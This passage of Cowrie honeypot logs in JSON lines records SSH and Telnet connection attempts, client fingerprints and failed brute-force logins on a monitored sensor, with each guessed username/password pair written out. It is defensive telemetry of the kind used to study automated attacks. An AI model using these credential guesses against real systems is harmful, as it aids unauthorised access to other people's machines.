-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:44.127130Z","src_ip":"103.176.20.57","session":"1a24dca8ac62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fhntv","message":"login attempt [root/fhntv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:44.872969Z","src_ip":"103.176.20.57","session":"1a24dca8ac62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:46.123165Z","src_ip":"103.176.20.57","session":"1a24dca8ac62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59044,"dst_ip":"10.17.0.5","dst_port":23,"session":"5c574907bfd7","protocol":"telnet","message":"New connection: 152.42.224.71:59044 (10.17.0.5:23) [session: 5c574907bfd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:47.653514Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59046,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e6c23afb8e7","protocol":"telnet","message":"New connection: 152.42.224.71:59046 (10.17.0.5:23) [session: 0e6c23afb8e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:52.772820Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.128.111.187","src_port":57700,"dst_ip":"159.203.135.109","dst_port":22,"session":"fe5c2db73b7d","protocol":"ssh","message":"New connection: 43.128.111.187:57700 (159.203.135.109:22) [session: fe5c2db73b7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:57.506042Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:57.511249Z","src_ip":"43.128.111.187","session":"fe5c2db73b7d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:57.748205Z","src_ip":"43.128.111.187","session":"fe5c2db73b7d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456789AA","message":"login attempt [root/123456789AA] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:58.725835Z","src_ip":"43.128.111.187","session":"fe5c2db73b7d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:47:59.971536Z","src_ip":"43.128.111.187","session":"fe5c2db73b7d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":43394,"dst_ip":"159.203.135.109","dst_port":22,"session":"3058171ceca9","protocol":"ssh","message":"New connection: 59.17.95.129:43394 (159.203.135.109:22) [session: 3058171ceca9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:00.192096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:00.211095Z","src_ip":"59.17.95.129","session":"3058171ceca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:00.408584Z","src_ip":"59.17.95.129","session":"3058171ceca9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":52090,"dst_ip":"159.203.135.109","dst_port":22,"session":"50154d024e37","protocol":"ssh","message":"New connection: 154.83.13.181:52090 (159.203.135.109:22) [session: 50154d024e37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:00.563423Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:00.568923Z","src_ip":"154.83.13.181","session":"50154d024e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123asdASD!@#","message":"login attempt [root/123asdASD!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:01.228945Z","src_ip":"59.17.95.129","session":"3058171ceca9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:01.534415Z","src_ip":"154.83.13.181","session":"50154d024e37","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"admin2026","message":"login attempt [ubuntu/admin2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:02.160594Z","src_ip":"154.83.13.181","session":"50154d024e37","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:02.429524Z","src_ip":"59.17.95.129","session":"3058171ceca9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":107.34577679634094,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:03.181462Z","src_ip":"152.42.224.71","session":"588d1c623beb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:03.375122Z","src_ip":"154.83.13.181","session":"50154d024e37","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51676,"dst_ip":"10.17.0.5","dst_port":23,"session":"7633d4aa4f3a","protocol":"telnet","message":"New connection: 152.42.224.71:51676 (10.17.0.5:23) [session: 7633d4aa4f3a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:04.186972Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.132.141.112","src_port":40500,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d0866bab5e2","protocol":"ssh","message":"New connection: 79.132.141.112:40500 (10.17.0.5:22) [session: 8d0866bab5e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:11.673779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:11.678668Z","src_ip":"79.132.141.112","session":"8d0866bab5e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:11.767218Z","src_ip":"79.132.141.112","session":"8d0866bab5e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Abc123","message":"login attempt [root/Abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:12.151640Z","src_ip":"79.132.141.112","session":"8d0866bab5e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:13.243315Z","src_ip":"79.132.141.112","session":"8d0866bab5e2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.147.93.208","src_port":60974,"dst_ip":"10.17.0.5","dst_port":22,"session":"84760330aa91","protocol":"ssh","message":"New connection: 194.147.93.208:60974 (10.17.0.5:22) [session: 84760330aa91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:14.719568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:14.724431Z","src_ip":"194.147.93.208","session":"84760330aa91","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:14.818390Z","src_ip":"194.147.93.208","session":"84760330aa91","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"power1","message":"login attempt [root/power1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:15.213019Z","src_ip":"194.147.93.208","session":"84760330aa91","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:16.308050Z","src_ip":"194.147.93.208","session":"84760330aa91","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":46582,"dst_ip":"10.17.0.5","dst_port":23,"session":"309a0cb49865","protocol":"telnet","message":"New connection: 152.42.224.71:46582 (10.17.0.5:23) [session: 309a0cb49865]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:18.904324Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.35.21","src_port":37706,"dst_ip":"10.17.0.5","dst_port":22,"session":"e0676469ed19","protocol":"ssh","message":"New connection: 43.159.35.21:37706 (10.17.0.5:22) [session: e0676469ed19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:20.210467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:20.215479Z","src_ip":"43.159.35.21","session":"e0676469ed19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:20.453245Z","src_ip":"43.159.35.21","session":"e0676469ed19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"xxx","message":"login attempt [root/xxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:21.455204Z","src_ip":"43.159.35.21","session":"e0676469ed19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:22.697546Z","src_ip":"43.159.35.21","session":"e0676469ed19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50016,"dst_ip":"10.17.0.5","dst_port":23,"session":"af27cad0dc04","protocol":"telnet","message":"New connection: 152.42.224.71:50016 (10.17.0.5:23) [session: af27cad0dc04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:27.803213Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":39610,"dst_ip":"10.17.0.5","dst_port":22,"session":"7fe8c835bdc4","protocol":"ssh","message":"New connection: 43.153.54.120:39610 (10.17.0.5:22) [session: 7fe8c835bdc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:39.546989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:39.551505Z","src_ip":"43.153.54.120","session":"7fe8c835bdc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:39.619934Z","src_ip":"43.153.54.120","session":"7fe8c835bdc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"pedro","message":"login attempt [root/pedro] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:39.923522Z","src_ip":"43.153.54.120","session":"7fe8c835bdc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52748,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc95f0aea3ff","protocol":"telnet","message":"New connection: 152.42.224.71:52748 (10.17.0.5:23) [session: fc95f0aea3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:40.860411Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:40.994494Z","src_ip":"43.153.54.120","session":"7fe8c835bdc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52754,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb7ce80ecf74","protocol":"telnet","message":"New connection: 152.42.224.71:52754 (10.17.0.5:23) [session: eb7ce80ecf74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:46.130885Z"}
{"eventid":"cowrie.session.closed","duration":54.80018591880798,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:47.572871Z","src_ip":"152.42.224.71","session":"0e6c23afb8e7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":39850,"dst_ip":"159.203.135.109","dst_port":22,"session":"31897b64df51","protocol":"ssh","message":"New connection: 43.159.169.93:39850 (159.203.135.109:22) [session: 31897b64df51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:49.898012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:48:49.902668Z","src_ip":"43.159.169.93","session":"31897b64df51","protocol":"ssh"}
